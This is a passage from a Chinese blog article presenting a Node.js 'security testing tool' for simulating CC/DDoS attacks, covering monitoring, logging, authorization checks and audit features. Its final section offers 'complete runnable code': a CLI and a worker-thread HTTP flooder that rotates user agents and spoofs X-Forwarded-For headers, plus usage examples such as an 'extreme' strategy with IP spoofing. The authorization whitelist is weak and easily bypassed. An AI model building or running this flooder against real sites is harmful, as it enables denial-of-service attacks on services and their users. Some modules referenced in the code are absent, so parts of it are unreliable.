          statusCode: response.statusCode,
          duration: duration,
          workerId: this.config.workerId
        });
      }
    } catch (error) {
      this.stats.failures++;
      workerLogger.error({
        action: 'request_error',
        error: error.message,
        errorCode: error.code,
        workerId: this.config.workerId
      }, '请求发送失败');
    }
  }
}

📈 实时监控面板实现

统计收集器增强

// src/core/stats-collector.js
const EventEmitter = require('events');

class StatsCollector extends EventEmitter {
  constructor() {
    super();
    this.metrics = {
      startTime: Date.now(),
      totalRequests: 0,
      successfulRequests: 0,
      failedRequests: 0,
      workerStats: new Map()
    };
    
    // 历史数据记录(用于趋势分析)
    this.history = {
      rps: [],
      successRate: [],
      timestamp: []
    };
  }
  
  updateStats(workerId, stats) {
    this.metrics.workerStats.set(workerId, stats);
    
    // 聚合所有Worker统计
    this.metrics.totalRequests = Array.from(this.metrics.workerStats.values())
      .reduce((sum, s) => sum + s.requestsSent, 0);
    this.metrics.successfulRequests = Array.from(this.metrics.workerStats.values())
      .reduce((sum, s) => sum + s.successes, 0);
    this.metrics.failedRequests = Array.from(this.metrics.workerStats.values())
      .reduce((sum, s) => sum + s.failures, 0);
    
    // 计算实时指标
    const currentRPS = this._calculateCurrentRPS();
    const successRate = this.metrics.totalRequests > 0 
      ? (this.metrics.successfulRequests / this.metrics.totalRequests) * 100 
      : 0;
    
    // 记录历史数据
    this.history.rps.push(currentRPS);
    this.history.successRate.push(successRate);
    this.history.timestamp.push(Date.now());
    
    // 保留最近100个数据点
    if (this.history.rps.length > 100) {
      this.history.rps.shift();
      this.history.successRate.shift();
      this.history.timestamp.shift();
    }
    
    // 触发监控事件
    this.emit('stats_update', this.getAggregatedStats());
  }
  
  getAggregatedStats() {
    const elapsedTime = Math.floor((Date.now() - this.metrics.startTime) / 1000);
    const currentRPS = this._calculateCurrentRPS();
    const successRate = this.metrics.totalRequests > 0 
      ? (this.metrics.successfulRequests / this.metrics.totalRequests) * 100 
      : 0;
    
    return {
      elapsedTime,
      totalDuration: this.metrics.duration,
      progress: elapsedTime / this.metrics.duration,
      totalRequests: this.metrics.totalRequests,
      successfulRequests: this.metrics.successfulRequests,
      failedRequests: this.metrics.failedRequests,
      successRate: successRate.toFixed(1),
      currentRPS: Math.round(currentRPS),
      history: this.history
    };
  }
}

Web监控界面(可选)

// src/monitoring/dashboard.js
const express = require('express');
const WebSocket = require('ws');

class MonitoringDashboard {
  constructor(statsCollector) {
    this.app = express();
    this.statsCollector = statsCollector;
    this.setupRoutes();
    this.setupWebSocket();
  }
  
  setupRoutes() {
    this.app.get('/stats', (req, res) => {
      res.json(this.statsCollector.getAggregatedStats());
    });
    
    this.app.get('/logs', (req, res) => {
      // 提供最近的日志条目
      const logs = this._readRecentLogs();
      res.json(logs);
    });
  }
  
  setupWebSocket() {
    const wss = new WebSocket.Server({ port: 8081 });
    
    // 实时推送统计更新
    this.statsCollector.on('stats_update', (stats) => {
      wss.clients.forEach(client => {
        if (client.readyState === WebSocket.OPEN) {
          client.send(JSON.stringify({
            type: 'STATS_UPDATE',
            data: stats
          }));
        }
      });
    });
  }
}

🚨 错误分级与告警机制

分级错误处理

// src/utils/error-handler.js
const logger = require('./logger');

class ErrorHandler {
  static handleError(error, context = {}) {
    const errorContext = {
      ...context,
      error: error.message,
      stack: error.stack,
      timestamp: new Date().toISOString()
    };
    
    // 根据错误类型分级处理
    if (error.code === 'ECONNREFUSED' || error.code === 'ETIMEDOUT') {
      logger.warn(errorContext, '网络连接错误');
    } else if (error.code === 'ENOMEM') {
      logger.error(errorContext, '内存不足,需要紧急处理');
      this.triggerEmergencyStop();
    } else if (error instanceof AuthorizationError) {
      logger.error(errorContext, '授权验证失败');
      process.exit(1);
    } else {
      logger.error(errorContext, '未预期的系统错误');
    }
  }
  
  static triggerEmergencyStop() {
    logger.fatal({ action: 'emergency_stop' }, '系统资源异常,触发紧急停止');
    process.exit(1);
  }
}

📋 日志轮转与存储优化

生产环境日志管理

// scripts/log-rotation.js
const fs = require('fs');
const path = require('path');
const zlib = require('zlib');

class LogManager {
  static rotateLogs() {
    const logDir = process.env.LOG_DIR || './logs';
    const files = fs.readdirSync(logDir);
    
    files.forEach(file => {
      if (file.endsWith('.log') && !file.includes('-')) {
        const date = new Date().toISOString().split('T')[0];
        const newFilename = file.replace('.log', `-${date}.log`);
        
        // 重命名并压缩旧日志
        fs.renameSync(path.join(logDir, file), path.join(logDir, newFilename));
        
        const gzip = zlib.createGzip();
        const input = fs.createReadStream(path.join(logDir, newFilename));
        const output = fs.createWriteStream(path.join(logDir, `${newFilename}.gz`));
        
        input.pipe(gzip).pipe(output).on('finish', () => {
          fs.unlinkSync(path.join(logDir, newFilename));
        });
      }
    });
  }
}

// 每日执行日志轮转
setInterval(LogManager.rotateLogs, 24 * 60 * 60 * 1000);

🔒 安全与合规日志

敏感信息脱敏

// src/utils/sanitizer.js
class LogSanitizer {
  static sanitizeConfig(config) {
    const sensitiveFields = ['password', 'apiKey', 'secret', 'token'];
    const sanitized = { ...config };
    
    sensitiveFields.forEach(field => {
      if (sanitized[field]) {
        sanitized[field] = '***REDACTED***';
      }
    });
    
    return sanitized;
  }
  
  static sanitizeError(error) {
    // 移除错误信息中的敏感路径信息
    if (error.stack) {
      error.stack = error.stack.replace(/(\/home\/[^\/]+\/)[^:]+/g, '$1***');
    }
    return error;
  }
}

本日志监控系统通过结构化日志记录、实时统计聚合和多级错误处理,为安全测试工具提供了完整的可观测性保障,同时确保敏感信息的安全性和操作的合规性。

七、合法性校验与安全加固

🔒 运行时合法性二次校验

在前序章节的输入验证基础上,本章引入运行时动态校验机制,确保攻击参数在执行过程中持续符合安全策略。

目标白名单深度校验

// src/security/target-validator.js
class TargetValidator {
  static async validateTarget(targetUrl, config) {
    // 1. 域名解析验证
    const domain = new URL(targetUrl).hostname;
    const resolvedIPs = await dns.promises.resolve(domain);
    
    // 2. 企业级白名单匹配
    const enterpriseWhitelist = config.get('security.enterpriseWhitelist') || [];
    const isWhitelisted = enterpriseWhitelist.some(whitelistDomain => 
      domain === whitelistDomain || domain.endsWith(`.${whitelistDomain}`)
    );
    
    if (!isWhitelisted && !['localhost', '127.0.0.1', 'test.example.com'].includes(domain)) {
      throw new Error(`目标域名 ${domain} 不在授权白名单内`);
    }
    
    // 3. IP地址反向验证
    const isInternalIP = resolvedIPs.some(ip => 
      ip.startsWith('10.') || ip.startsWith('192.168.') || ip === '127.0.0.1'
    );
    
    if (isInternalIP && !config.get('security.allowInternalTargets')) {
      throw new Error('禁止对内部网络地址进行测试');
    }
    
    return { domain, resolvedIPs, isWhitelisted };
  }
}

动态并发控制

基于系统负载的智能限流机制:

// src/security/concurrency-manager.js
class ConcurrencyManager {
  constructor(maxConcurrent = 100) {
    this.maxConcurrent = maxConcurrent;
    this.currentConcurrent = 0;
    this.systemLoadThreshold = 0.8; // 80%系统负载阈值
  }

  async acquireSlot() {
    // 检查系统负载
    const systemLoad = await this.getSystemLoad();
    if (systemLoad > this.systemLoadThreshold) {
      throw new Error(`系统负载过高 (${systemLoad.toFixed(2)}),暂停新连接`);
    }
    
    // 检查并发数
    if (this.currentConcurrent >= this.maxConcurrent) {
      throw new Error(`并发数已达上限 ${this.maxConcurrent}`);
    }
    
    this.currentConcurrent++;
    return () => this.releaseSlot();
  }

  async getSystemLoad() {
    const load = os.loadavg()[0] / os.cpus().length;
    return load;
  }
}

⚡ 流量签名与审计追踪

请求签名机制

为每个攻击请求添加唯一标识,确保可追溯性:

// src/security/request-signer.js
class RequestSigner {
  static signRequest(requestParams, sessionId) {
    const timestamp = Date.now();
    const nonce = crypto.randomBytes(16).toString('hex');
    
    const signatureData = {
      sessionId,
      timestamp,
      nonce,
      target: requestParams.target,
      attackType: requestParams.attackType
    };
    
    const signature = crypto
      .createHmac('sha256', process.env.REQUEST_SIGNATURE_KEY)
      .update(JSON.stringify(signatureData))
      .digest('hex');
    
    return {
      ...requestParams,
      headers: {
        ...requestParams.headers,
        'X-Security-Test-ID': sessionId,
        'X-Request-Signature': signature,
        'X-Timestamp': timestamp,
        'X-Nonce': nonce
      }
    };
  }
}

完整审计日志

// src/security/audit-logger.js
class AuditLogger {
  static logSecurityEvent(eventType, details) {
    const auditLog = {
      timestamp: new Date().toISOString(),
      eventType,
      userId: process.env.USER_ID || 'system',
      sessionId: details.sessionId,
      target: details.target,
      severity: this.getEventSeverity(eventType),
      details: this.sanitizeDetails(details)
    };
    
    // 结构化日志记录
    logger.info('SECURITY_AUDIT', auditLog);
    
    // 实时告警(针对高危事件)
    if (auditLog.severity === 'HIGH') {
      this.triggerAlert(auditLog);
    }
  }

  static sanitizeDetails(details) {
    // 深度脱敏处理
    const sanitized = { ...details };
    ['password', 'apiKey', 'token', 'cookie'].forEach(field => {
      if (sanitized[field]) {
        sanitized[field] = '***REDACTED***';
      }
    });
    return sanitized;
  }
}

🛡️ 自动熔断与恢复机制

智能熔断器实现

// src/security/circuit-breaker.js
class CircuitBreaker {
  constructor(options = {}) {
    this.failureThreshold = options.failureThreshold || 5;
    this.successThreshold = options.successThreshold || 2;
    this.timeout = options.timeout || 10000;
    this.failureCount = 0;
    this.successCount = 0;
    this.state = 'CLOSED';
    this.nextAttempt = Date.now();
  }

  async execute(asyncFn) {
    if (this.state === 'OPEN') {
      if (Date.now() < this.nextAttempt) {
        throw new Error('熔断器开启,请求被拒绝');
      }
      this.state = 'HALF_OPEN';
    }

    try {
      const result = await asyncFn();
      this.onSuccess();
      return result;
    } catch (error) {
      this.onFailure();
      throw error;
    }
  }

  onSuccess() {
    this.failureCount = 0;
    if (this.state === 'HALF_OPEN') {
      this.successCount++;
      if (this.successCount > this.successThreshold) {
        this.state = 'CLOSED';
        this.successCount = 0;
      }
    }
  }

  onFailure() {
    this.failureCount++;
    if (this.failureCount >= this.failureThreshold) {
      this.state = 'OPEN';
      this.nextAttempt = Date.now() + this.timeout;
    }
  }
}

资源硬性限制

通过 cgroup 和 ulimit 实现系统级防护:

// src/security/resource-limiter.js
class ResourceLimiter {
  static setupHardLimits() {
    // 内存限制
    const maxMemory = process.env.MAX_MEMORY_MB || 512;
    if (process.platform === 'linux') {
      this.setupCgroupLimits(maxMemory);
    }
    
    // 文件描述符限制
    try {
      process.setrlimit(process.RLIMIT_NOFILE, {
        soft: 1024,
        hard: 4096
      });
    } catch (error) {
      logger.warn('无法设置文件描述符限制', error);
    }
  }

  static setupCgroupLimits(maxMemoryMB) {
    // 实际环境中应使用cgroup fs操作
    logger.info(`设置内存限制: ${maxMemoryMB}MB`);
  }
}

📊 合规报告生成

测试报告自动生成

// src/security/compliance-reporter.js
class ComplianceReporter {
  static generateTestReport(sessionData, attackResults) {
    const report = {
      meta: {
        reportId: crypto.randomUUID(),
        generatedAt: new Date().toISOString(),
        toolVersion: process.env.npm_package_version,
        tester: process.env.TESTER_ID || 'anonymous'
      },
      authorization: {
        authorizedBy: sessionData.authorizedBy,
        testScope: sessionData.testScope,
        validFrom: sessionData.validFrom,
        validTo: sessionData.validTo
      },
      testSummary: {
        totalRequests: attackResults.totalRequests,
        successfulRequests: attackResults.successfulRequests,
        failedRequests: attackResults.failedRequests,
        averageResponseTime: attackResults.avgResponseTime,
        peakConcurrency: attackResults.peakConcurrency
      },
      securityEvents: AuditLogger.getSessionEvents(sessionData.sessionId),
      compliance: this.checkCompliance(sessionData, attackResults)
    };

    return this.formatReport(report);
  }

  static checkCompliance(sessionData, attackResults) {
    const violations = [];
    
    // 检查测试时间窗口
    if (new Date() > new Date(sessionData.validTo)) {
      violations.push('测试超出授权时间范围');
    }
    
    // 检查请求频率合规性
    if (attackResults.requestsPerSecond > sessionData.maxRPS) {
      violations.push(`请求频率超出限制: ${attackResults.requestsPerSecond} > ${sessionData.maxRPS}`);
    }
    
    return {
      isCompliant: violations.length === 0,
      violations,
      checkedAt: new Date().toISOString()
    };
  }
}

🔐 高级安全配置

安全配置中心

// src/config/security.js
const securityConfig = {
  // 证书验证
  ssl: {
    verifyCertificates: process.env.VERIFY_SSL !== 'false',
    minTLSVersion: process.env.MIN_TLS_VERSION || 'TLSv1.2',
    allowedCiphers: [
      'TLS_AES_128_GCM_SHA256',
      'TLS_AES_256_GCM_SHA384',
      'TLS_CHACHA20_POLY1305_SHA256'
    ]
  },
  
  // 网络安全
  network: {
    dnsOverTLS: process.env.DNS_OVER_TLS === 'true',
    proxyValidation: process.env.VALIDATE_PROXY !== 'false',
    timeout: parseInt(process.env.NETWORK_TIMEOUT) || 30000
  },
  
  // 数据保护
  dataProtection: {
    encryptLogs: process.env.ENCRYPT_LOGS === 'true',
    logRetentionDays: parseInt(process.env.LOG_RETENTION_DAYS) || 30,
    autoPurgeSensitiveData: true
  }
};

module.exports = securityConfig;

🚨 紧急响应机制

一键紧急停止

// src/security/emergency-stop.js
class EmergencyStop {
  constructor() {
    this.isStopped = false;
    this.setupSignalHandlers();
  }

  setupSignalHandlers() {
    // SIGINT (Ctrl+C)
    process.on('SIGINT', () => this.gracefulShutdown('SIGINT'));
    
    // 自定义紧急停止信号
    process.on('SIGUSR2', () => this.immediateShutdown('SIGUSR2'));
    
    // 未捕获异常
    process.on('uncaughtException', (error) => {
      logger.error('未捕获异常,触发紧急停止', error);
      this.immediateShutdown('UNCAUGHT_EXCEPTION');
    });
  }

  async gracefulShutdown(reason) {
    if (this.isStopped) return;
    
    this.isStopped = true;
    logger.warn(`开始优雅停止: ${reason}`);
    
    // 停止接受新请求
    AttackScheduler.pause();
    
    // 等待进行中的请求完成
    await this.waitForPendingRequests(30000);
    
    // 生成最终报告
    await ComplianceReporter.generateFinalReport();
    
    process.exit(0);
  }

  immediateShutdown(reason) {
    logger.error(`立即停止: ${reason}`);
    AuditLogger.logSecurityEvent('EMERGENCY_SHUTDOWN', { reason });
    process.exit(1);
  }
}

通过本章的合法性校验与安全加固措施,工具在运行时具备了完整的合规性验证、安全防护和审计追踪能力,确保所有测试活动都在授权范围内安全进行。

八、完整可运行代码与使用示例

项目结构与核心文件

package.json

{
  "name": "security-test-tool",
  "version": "1.0.0",
  "description": "Node.js网站安全测试工具(CC/DDoS攻击模拟)",
  "type": "module",
  "bin": {
    "security-test": "./src/cli/index.js"
  },
  "scripts": {
    "start": "node src/cli/index.js",
    "test": "npm audit && npx snyk test",
    "audit": "npm audit --audit-level moderate"
  },
  "dependencies": {
    "yargs": "^17.7.2",
    "inquirer": "^9.2.16",
    "pino": "^9.3.1",
    "pino-pretty": "^11.2.1",
    "axios": "^1.7.2",
    "worker-threads-pool": "^2.0.0",
    "rate-limiter-flexible": "^4.0.1",
    "helmet": "^7.1.0",
    "bcrypt": "^5.1.1",
    "dotenv": "^16.4.5"
  },
  "keywords": ["security", "testing", "ddos", "cc", "penetration"],
  "author": "Security Team",
  "license": "MIT"
}

src/cli/index.js

#!/usr/bin/env node

import yargs from 'yargs';
import { hideBin } from 'yargs/helpers';
import inquirer from 'inquirer';
import { AttackFactory } from '../attacks/attack-factory.js';
import { logger } from '../utils/logger.js';
import { SecurityValidator } from '../security/validator.js';

const argv = yargs(hideBin(process.argv))
  .option('target', {
    alias: 't',
    describe: '目标网站URL',
    type: 'string',
    demandOption: true
  })
  .option('attack-type', {
    alias: 'a',
    describe: '攻击类型',
    choices: ['cc', 'ddos'],
    demandOption: true
  })
  .option('duration', {
    alias: 'd',
    describe: '持续时间(分钟)',
    type: 'number',
    default: 5
  })
  .option('concurrency', {
    alias: 'c',
    describe: '并发数',
    type: 'number',
    default: 10
  })
  .option('packet-size', {
    alias: 's',
    describe: '数据包大小(字节)',
    type: 'number',
    default: 1024
  })
  .option('frequency', {
    alias: 'f',
    describe: '请求频率(次/秒)',
    type: 'number',
    default: 10
  })
  .option('ip-spoofing', {
    describe: '启用IP欺骗',
    type: 'boolean',
    default: false
  })
  .option('strategy', {
    describe: '预设策略',
    choices: ['gentle', 'standard', 'extreme'],
    default: 'standard'
  })
  .example('security-test -t http://example.com -a cc -d 10 -c 50', 'CC攻击示例')
  .example('security-test -t https://api.example.com -a ddos --strategy extreme', 'DDoS极限测试')
  .epilogue('⚠️  仅限授权安全测试使用!')
  .parse();

async function main() {
  try {
    // 合法性校验
    const validator = new SecurityValidator();
    await validator.validateTarget(argv.target);
    
    // 策略映射
    const strategyConfig = mapStrategy(argv.strategy);
    const config = { ...strategyConfig, ...argv };
    
    // 确认提示
    const answers = await inquirer.prompt([{
      type: 'confirm',
      name: 'proceed',
      message: `确认对 ${argv.target} 执行${argv.attackType.toUpperCase()}攻击?`,
      default: false
    }]);
    
    if (!answers.proceed) {
      logger.info('用户取消操作');
      process.exit(0);
    }
    
    // 创建并执行攻击
    const attack = AttackFactory.createAttack(argv.attackType, config);
    await attack.execute();
    
  } catch (error) {
    logger.error({ error }, '攻击执行失败');
    process.exit(1);
  }
}

function mapStrategy(strategy) {
  const strategies = {
    gentle: { concurrency: 5, frequency: 5, duration: 2 },
    standard: { concurrency: 20, frequency: 15, duration: 5 },
    extreme: { concurrency: 100, frequency: 50, duration: 10 }
  };
  return strategies[strategy] || strategies.standard;
}

main();

src/attacks/attack-factory.js

import { CCAttack } from './cc-attack.js';
import { DDoSAttack } from './ddos-attack.js';

export class AttackFactory {
  static createAttack(type, config) {
    switch (type) {
      case 'cc':
        return new CCAttack(config);
      case 'ddos':
        return new DDoSAttack(config);
      default:
        throw new Error(`不支持的攻击类型: ${type}`);
    }
  }
}

src/attacks/cc-attack.js

import { Worker } from 'worker_threads';
import { cpus } from 'os';
import { logger } from '../utils/logger.js';
import { StatsCollector } from '../utils/stats-collector.js';

export class CCAttack {
  constructor(config) {
    this.config = config;
    this.workers = [];
    this.statsCollector = new StatsCollector();
    this.isRunning = false;
  }

  async execute() {
    this.isRunning = true;
    logger.info({ config: this.config }, '开始CC攻击');
    
    const numWorkers = Math.min(cpus().length, this.config.concurrency);
    
    // 启动Worker线程池
    for (let i = 0; i < numWorkers; i++) {
      const worker = new Worker('./src/workers/cc-worker.js', {
        workerData: { ...this.config, workerId: i }
      });
      
      worker.on('message', (msg) => {
        this.statsCollector.recordRequest(msg);
      });
      
      worker.on('error', (error) => {
        logger.error({ error, workerId: i }, 'Worker执行错误');
      });
      
      this.workers.push(worker);
    }
    
    // 实时监控
    const monitorInterval = setInterval(() => {
      const stats = this.statsCollector.getStats();
      logger.info(stats, '实时统计');
      
      // 进度显示
      const progress = (stats.elapsed / (this.config.duration * 60)) * 100;
      console.log(`进度: ${progress.toFixed(1)}% | 成功率: ${stats.successRate}%`);
    }, 2000);
    
    // 超时停止
    setTimeout(async () => {
      await this.stop();
      clearInterval(monitorInterval);
      this.generateReport();
    }, this.config.duration * 60 * 1000);
  }

  async stop() {
    this.isRunning = false;
    for (const worker of this.workers) {
      await worker.terminate();
    }
    logger.info('CC攻击已停止');
  }

  generateReport() {
    const finalStats = this.statsCollector.getStats();
    logger.info(finalStats, '攻击完成报告');
    
    // 生成JSON报告文件
    const report = {
      timestamp: new Date().toISOString(),
      target: this.config.target,
      attackType: 'cc',
      summary: finalStats,
      securityChecks: this.config.securityChecks || []
    };
    
    console.log(JSON.stringify(report, null, 2));
  }
}

src/workers/cc-worker.js

import { parentPort, workerData } from 'worker_threads';
import axios from 'axios';
import { RateLimiter } from 'rate-limiter-flexible';

class CCWorker {
  constructor(config) {
    this.config = config;
    this.limiter = new RateLimiter({
      points: config.frequency,
      duration: 1
    });
    this.userAgents = [
      'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
      'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15',
      'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
    ];
  }

  async start() {
    while (true) {
      try {
        await this.limiter.consume(1);
        await this.sendRequest();
      } catch (error) {
        parentPort.postMessage({
          type: 'error',
          error: error.message,
          timestamp: Date.now()
        });
      }
    }
  }

  async sendRequest() {
    const headers = {
      'User-Agent': this.getRandomUserAgent(),
      'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
    };

    if (this.config.ipSpoofing) {
      headers['X-Forwarded-For'] = this.generateFakeIP();
      headers['X-Real-IP'] = this.generateFakeIP();
    }

    const startTime = Date.now();
    try {
      const response = await axios.get(this.config.target, {
        headers,
        timeout: 5000
      });

      parentPort.postMessage({
        type: 'success',
        duration: Date.now() - startTime,
        statusCode: response.status,
        timestamp: startTime
      });
    } catch (error) {
      parentPort.postMessage({
        type: 'failure',
        duration: Date.now() - startTime,
        error: error.code,
        timestamp: startTime
      });
    }
  }

  getRandomUserAgent() {
    return this.userAgents[Math.floor(Math.random() * this.userAgents.length)];
  }

  generateFakeIP() {
    return `192.168.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`;
  }
}

const worker = new CCWorker(workerData);
worker.start();

src/utils/logger.js

import pino from 'pino';

export const logger = pino({
  level: process.env.LOG_LEVEL || 'info',
  transport: {
    target: 'pino-pretty',
    options: {
      colorize: true,
      translateTime: 'SYS:standard'
    }
  }
});

src/security/validator.js

import { logger } from '../utils/logger.js';

export class SecurityValidator {
  constructor() {
    this.whitelist = process.env.AUTHORIZED_TARGETS?.split(',') || [];
    this.blacklistIPs = ['127.0.0.1', 'localhost', '192.168.', '10.', '172.16.'];
  }

  async validateTarget(target) {
    const url = new URL(target);
    
    // 白名单校验
    if (this.whitelist.length > 0 && !this.whitelist.includes(url.hostname)) {
      throw new Error(`目标域名 ${url.hostname} 不在授权白名单中`);
    }
    
    // 内网IP检测
    if (this.isPrivateIP(url.hostname)) {
      throw new Error('禁止测试内部网络地址');
    }
    
    // 生产环境检测
    if (process.env.NODE_ENV === 'production') {
      throw new Error('生产环境禁止执行安全测试');
    }
    
    logger.info({ target }, '目标验证通过');
  }

  isPrivateIP(hostname) {
    return this.blacklistIPs.some(ip => hostname.startsWith(ip));
  }
}

使用示例

基础 CC 攻击测试

security-test -t http://test.example.com -a cc -d 5 -c 20 -f 30

DDoS 极限压力测试

security-test -t https://api.example.com -a ddos --strategy extreme --ip-spoofing

交互式配置测试

security-test -t http://demo.example.com -a cc --strategy gentle

带环境变量的生产级测试

export AUTHORIZED_TARGETS="test.example.com,demo.example.com"
export LOG_LEVEL=debug
security-test -t http://test.example.com -a cc -d 10 -c 50

输出示例

实时监控输出

[2024-01-15 10:30:25] INFO: 开始CC攻击 {"config":{"target":" http://test.example.com ","attackType":"cc","duration":5}}
[2024-01-15 10:30:27] INFO: 实时统计 {"totalRequests":150,"successfulRequests":145,"failedRequests":5,"successRate":96.7}
进度: 10.0% | 成功率: 96.7%

最终报告输出

{
  "timestamp": "2024-01-15T10:35:25.000Z",
  "target": " http://test.example.com ",
  "attackType": "cc",
  "summary": {
    "totalRequests": 4500,
    "successfulRequests": 4320,
    "failedRequests": 180,
    "successRate": 96.0,
    "averageResponseTime": 245,
    "peakRPS": 35
  },
  "securityChecks": [
    "目标域名验证通过",
    "内网IP检测通过",
    "生产环境检测通过"
  ]
}

重要注意事项

  1. 合法使用:仅限授权范围内的安全测试,严禁非法攻击

  2. 环境隔离:在专用测试环境中运行,避免影响生产系统

  3. 资源监控:实时监控系统资源使用情况,避免过度消耗

  4. 紧急停止:支持 Ctrl+C 优雅停止和 SIGUSR2 强制终止

  5. 审计追踪:所有操作记录详细日志,便于后续审计分析

该工具提供了完整的企业级安全测试能力,同时通过多重安全校验确保合规使用。


基于 Node.js 的网站安全测试工具
https://uniomo.com/archives/ji-yu-node.js-de-wang-zhan-an-quan-ce-shi-gong-ju
作者
雨落秋垣
发布于
2025年11月05日
许可协议